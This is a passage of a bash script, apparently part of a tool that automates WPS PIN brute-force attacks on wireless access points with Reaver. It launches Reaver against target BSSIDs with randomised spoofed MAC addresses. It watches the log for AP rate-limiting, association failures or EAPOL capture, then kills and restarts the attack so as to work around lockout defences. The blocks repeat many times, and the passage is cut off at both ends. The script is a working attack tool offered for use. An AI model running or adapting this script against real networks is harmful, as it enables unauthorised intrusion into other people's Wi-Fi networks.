	echo -e "$info  2. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME32-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME32-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME32-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME32-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP32 (ESSID: $NMEWARN32)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME32-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME32-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP32 (ESSID: $NMEWARN32)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R32 == y || $USE_R32 == Y ]] && [[ $USE_LONG32 == y || $USE_LONG32 == Y ]] && [[ $USE_PIN32 == y || $USE_PIN32 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME32"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL32"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP32"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX32" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY32"
echo -e "$info Reaver live time                   = $yel$LIVE32 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME32-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL32 -b $TARGETAP32 -r $RX32:$RY32 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN32 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME32-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE32-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME32-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME32-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME32-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME32-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME32-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP32 (ESSID: $NMEWARN32)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME32-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME32-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME32-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP32 (ESSID: $NMEWARN32)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE32 == n ] || [ $KEEP_FILE32 == N ]; then

          rm VARMAC_LOGS/$NAME32-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R33 == n || $USE_R33 == N ]] && [[ $USE_LONG33 == n || $USE_LONG33 == N ]] && [[ $USE_PIN33 == n || $USE_PIN33 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME33"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL33"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP33"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE33 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME33-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL33 -b $TARGETAP33 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME33-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE33-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME33-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME33-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME33-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME33-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME33-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP33 (ESSID: $NMEWARN33)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME33-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME33-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP33 (ESSID: $NMEWARN33)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R33 == y || $USE_R33 == Y ]] && [[ $USE_LONG33 == n || $USE_LONG33 == N ]] && [[ $USE_PIN33 == n || $USE_PIN33 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME33"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL33"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP33"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX33" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY33"
echo -e "$info Reaver live time                   = $yel$LIVE33 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME33-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL33 -b $TARGETAP33 -vv -x 60 -r $RX33:$RY33 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME33-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE33-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME33-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME33-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME33-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME33-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME33-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP33 (ESSID: $NMEWARN33)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME33-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME33-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP33 (ESSID: $NMEWARN33)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R33 == n || $USE_R33 == N ]] && [[ $USE_LONG33 == y || $USE_LONG33 == Y ]] && [[ $USE_PIN33 == n || $USE_PIN33 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME33"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL33"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP33"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE33 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME33-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL33 -b $TARGETAP33 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME33-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE33-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME33-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME33-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME33-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME33-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME33-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP33 (ESSID: $NMEWARN33)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME33-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME33-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP33 (ESSID: $NMEWARN33)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi

